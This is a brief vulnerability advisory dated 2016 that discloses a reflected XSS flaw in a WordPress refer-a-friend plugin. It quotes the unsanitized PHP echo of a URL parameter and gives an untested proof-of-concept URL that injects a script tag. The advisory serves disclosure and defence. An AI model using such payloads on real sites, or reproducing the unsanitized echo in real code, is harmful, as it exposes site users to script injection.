Advisory #: 101
Title: Reflected XSS in wordpress plugin refer-a-friend-widget-for-wp v1.3.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/refer-a-friend-widget-for-wp
Downloads: 6246
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: refer-a-friend-widget-for-wp
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./refer-a-friend-widget-for-wp/admin/admin.php: 74: <p><?php echo $_GET['message']; ?></p></div> The variable message appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./refer-a-friend-widget-for-wp/admin/admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/refer-a-friend-widget-for-wp/admin/admin.php?message="><script>alert(1);</script><"